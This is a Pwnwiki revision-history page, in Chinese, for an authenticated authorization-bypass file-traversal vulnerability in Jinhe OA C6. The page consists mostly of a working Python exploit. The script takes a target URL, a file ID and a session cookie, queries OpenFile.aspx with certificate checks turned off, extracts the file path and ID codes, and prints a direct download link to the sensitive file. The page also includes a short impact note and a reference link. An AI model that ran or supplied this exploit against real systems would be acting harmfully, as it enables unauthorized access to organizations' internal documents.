Pwnwiki: Marked this version for translation

2021-04-03T01:30:54Z

Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==

 金和OA C6

==POC== ===⚠️️=== POC只檢測是否存在漏洞，且漏洞存在於..."

2021-04-03T01:30:21Z

Created page with "<languages /> <translate> ==漏洞影響== </translate> <pre> 金和OA C6 </pre> ==POC== ===⚠️️=== <translate> POC只檢測是否存在漏洞，且漏洞存在於..."

New page

<languages />

<translate>
==漏洞影響==
</translate>
<pre>
金和OA C6
</pre>

==POC==

===⚠️️===
<translate>
POC只檢測是否存在漏洞，且漏洞存在於後台需要登錄
運行後訪問鏈接即可下載文件
</translate>

<pre>
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 金和OA C6 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url, file_id, cookie):
vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie":cookie
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 Url: {}\033[0m".format(vuln_url))
if "strFilePath =" in response.text and response.status_code == 200:
strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)[0]
strFileType = strFilePath[-3:]
strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)[0]
strId = re.findall(r"var strId = '(.*?)';", response.text)[0]
sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)[0]
if strFilePath != "":
print("\033[36m[o] 目标 {} 存在漏洞, 获取文件信息:\n[o] 文件路径：{}\n[o] 文件类型：{}\n[o] 文件ID code：{}\n[o] 文件编号：{}\033[0m".format(target_url, strFilePath, strFileType,strFileIDCode, strId ))
print("\033[32m[o] 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid))
else:
print("\033[31m[x] 目标 {} 文件不存在 \033[0m".format(target_url))
else:
print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))

except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
file_id = str(input("\033[35mFile_id >>> \033[0m"))
cookie = str(input("\033[35mCookie >>> \033[0m"))
POC_1(target_url, file_id, cookie)
</pre>

<translate>
==參考==
</translate>
https://mp.weixin.qq.com/s/90HM3LqODBN35iqRBRE1HA

金和OA C6 後台越權敏感文件遍歷漏洞 0day - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==
金和OA C6
==POC== ===⚠️️=== POC只檢測是否存在漏洞，且漏洞存在於..."

@@ Line 2: / Line 2: @@
 <translate>
-==漏洞影響==
+==漏洞影響== <!--T:1-->
 </translate>
 <pre>
@@ Line 13: / Line 13: @@
 ===⚠️️===
 <translate>
 POC只檢測是否存在漏洞，且漏洞存在於後台需要登錄
 運行後訪問鏈接即可下載文件
@@ Line 75: / Line 76: @@
 <translate>
-==參考==
+==參考== <!--T:3-->
 </translate>
 https://mp.weixin.qq.com/s/90HM3LqODBN35iqRBRE1HA